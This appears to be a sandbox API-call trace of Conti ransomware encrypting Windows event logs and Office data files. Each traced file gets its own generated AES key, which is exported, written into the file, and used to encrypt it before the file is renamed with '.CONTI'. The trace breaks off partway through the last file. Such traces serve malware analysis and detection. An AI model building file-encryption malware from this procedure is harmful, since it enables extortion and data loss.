	[0096.419] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0096.419] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5590 | out: phKey=0x17c5590*=0x17c8170) returned 1
	[0096.419] CryptExportKey (in: hKey=0x17c8170, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5594, pdwDataLen=0x3cffb14 | out: pbData=0x17c5594*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0096.420] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20
	[0096.420] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0096.420] GetLastError () returned 0x0
	[0096.420] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=69632) returned 1
	[0096.421] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.421] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.421] SetEndOfFile (hFile=0x30c) returned 1
	[0096.421] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.421] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.421] WriteFile (in: hFile=0x30c, lpBuffer=0x17c5594*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c5594*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.422] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.422] ReadFile (in: hFile=0x30c, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x11000, lpOverlapped=0x0) returned 1
	[0096.424] CryptEncrypt (in: hKey=0x17c8170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x11010) returned 1
	[0096.424] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.424] WriteFile (in: hFile=0x30c, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x11010, lpOverlapped=0x0) returned 1
	[0096.424] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.424] WriteFile (in: hFile=0x30c, lpBuffer=0x17c5588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c5588*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0096.424] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.424] CloseHandle (hObject=0x30c) returned 1
	[0096.426] GetProcessHeap () returned 0x1720000
	[0096.426] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0096.426] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx"
	[0096.426] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.CONTI"
	[0096.426] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.conti")) returned 1
	[0096.427] GetProcessHeap () returned 0x1720000
	[0096.427] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0096.427] CryptDestroyKey (hKey=0x17c8170) returned 1
	[0096.427] GetProcessHeap () returned 0x1720000
	[0096.427] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17407a8 | out: hHeap=0x1720000) returned 1
	[0096.427] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0096.427] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x17c8170) returned 1
	[0096.427] CryptExportKey (in: hKey=0x17c8170, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x3cffb14 | out: pbData=0x17c47e4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0096.428] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20
	[0096.428] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0096.428] GetLastError () returned 0x0
	[0096.428] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=69632) returned 1
	[0096.428] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.428] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.428] SetEndOfFile (hFile=0x30c) returned 1
	[0096.428] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.428] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.429] WriteFile (in: hFile=0x30c, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.430] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.430] ReadFile (in: hFile=0x30c, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x11000, lpOverlapped=0x0) returned 1
	[0096.431] CryptEncrypt (in: hKey=0x17c8170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x11010) returned 1
	[0096.431] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.431] WriteFile (in: hFile=0x30c, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x11010, lpOverlapped=0x0) returned 1
	[0096.431] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.432] WriteFile (in: hFile=0x30c, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0096.432] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.432] CloseHandle (hObject=0x30c) returned 1
	[0096.433] GetProcessHeap () returned 0x1720000
	[0096.433] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0096.433] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx"
	[0096.433] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.CONTI"
	[0096.433] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.conti")) returned 1
	[0096.434] GetProcessHeap () returned 0x1720000
	[0096.434] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0096.434] CryptDestroyKey (hKey=0x17c8170) returned 1
	[0096.434] GetProcessHeap () returned 0x1720000
	[0096.434] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0748 | out: hHeap=0x1720000) returned 1
	[0096.434] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0096.434] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c4350 | out: phKey=0x17c4350*=0x17c8170) returned 1
	[0096.434] CryptExportKey (in: hKey=0x17c8170, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4354, pdwDataLen=0x3cffb14 | out: pbData=0x17c4354*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0096.435] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20
	[0096.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0096.435] GetLastError () returned 0x0
	[0096.435] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=1052672) returned 1
	[0096.435] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x101000
	[0096.435] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.435] SetEndOfFile (hFile=0x30c) returned 1
	[0096.435] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.435] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.436] WriteFile (in: hFile=0x30c, lpBuffer=0x17c4354*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c4354*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.437] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.437] ReadFile (in: hFile=0x30c, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x101000, lpOverlapped=0x0) returned 1
	[0097.388] CryptEncrypt (in: hKey=0x17c8170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x101000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x101010) returned 1
	[0097.389] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.389] WriteFile (in: hFile=0x30c, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x101010, lpOverlapped=0x0) returned 1
	[0097.392] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.392] WriteFile (in: hFile=0x30c, lpBuffer=0x17c4348*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c4348*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0097.392] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.392] CloseHandle (hObject=0x30c) returned 1
	[0097.408] GetProcessHeap () returned 0x1720000
	[0097.408] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.409] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx"
	[0097.409] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.CONTI"
	[0097.409] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.conti")) returned 1
	[0097.410] GetProcessHeap () returned 0x1720000
	[0097.410] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.410] CryptDestroyKey (hKey=0x17c8170) returned 1
	[0097.410] GetProcessHeap () returned 0x1720000
	[0097.410] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d07c8 | out: hHeap=0x1720000) returned 1
	[0097.410] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0099.161] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17e9d90 | out: phKey=0x17e9d90*=0x17c8470) returned 1
	[0099.161] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9d94, pdwDataLen=0x3cffb14 | out: pbData=0x17e9d94*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0099.162] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat")) returned 0x20
	[0099.162] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0099.162] GetLastError () returned 0x0
	[0099.162] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=882628) returned 1
	[0099.162] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd77c4
	[0099.162] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.162] SetEndOfFile (hFile=0x398) returned 1
	[0101.778] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.778] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.778] WriteFile (in: hFile=0x398, lpBuffer=0x17e9d94*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17e9d94*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0102.685] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.685] ReadFile (in: hFile=0x398, lpBuffer=0x9d90000, nNumberOfBytesToRead=0xd77c4, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0xd77c4, lpOverlapped=0x0) returned 1
	[0102.692] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0xd77c4, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0xd77d0) returned 1
	[0102.693] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.693] WriteFile (in: hFile=0x398, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0xd77d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0xd77d0, lpOverlapped=0x0) returned 1
	[0102.695] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.695] WriteFile (in: hFile=0x398, lpBuffer=0x17e9d88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17e9d88*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0102.695] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.695] CloseHandle (hObject=0x398) returned 1
	[0103.420] GetProcessHeap () returned 0x1720000
	[0103.420] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6555f58
	[0103.420] lstrcpyW (in: lpString1=0x6555f58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat"
	[0103.421] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.CONTI"
	[0103.421] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat.conti")) returned 1
	[0103.610] GetProcessHeap () returned 0x1720000
	[0103.610] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6555f58 | out: hHeap=0x1720000) returned 1
	[0103.610] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0103.610] GetProcessHeap () returned 0x1720000
	[0103.610] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb0e0 | out: hHeap=0x1720000) returned 1
	[0103.610] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0103.611] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c4eb8 | out: phKey=0x17c4eb8*=0x17c8470) returned 1
	[0103.611] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4ebc, pdwDataLen=0x3cffb14 | out: pbData=0x17c4ebc*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0103.611] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml")) returned 0x20
	[0103.616] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0103.616] GetLastError () returned 0x0
	[0103.616] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=2042) returned 1
	[0103.616] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7fa
	[0103.616] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.616] SetEndOfFile (hFile=0x37c) returned 1
	[0103.620] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.620] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.620] WriteFile (in: hFile=0x37c, lpBuffer=0x17c4ebc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c4ebc*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.630] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
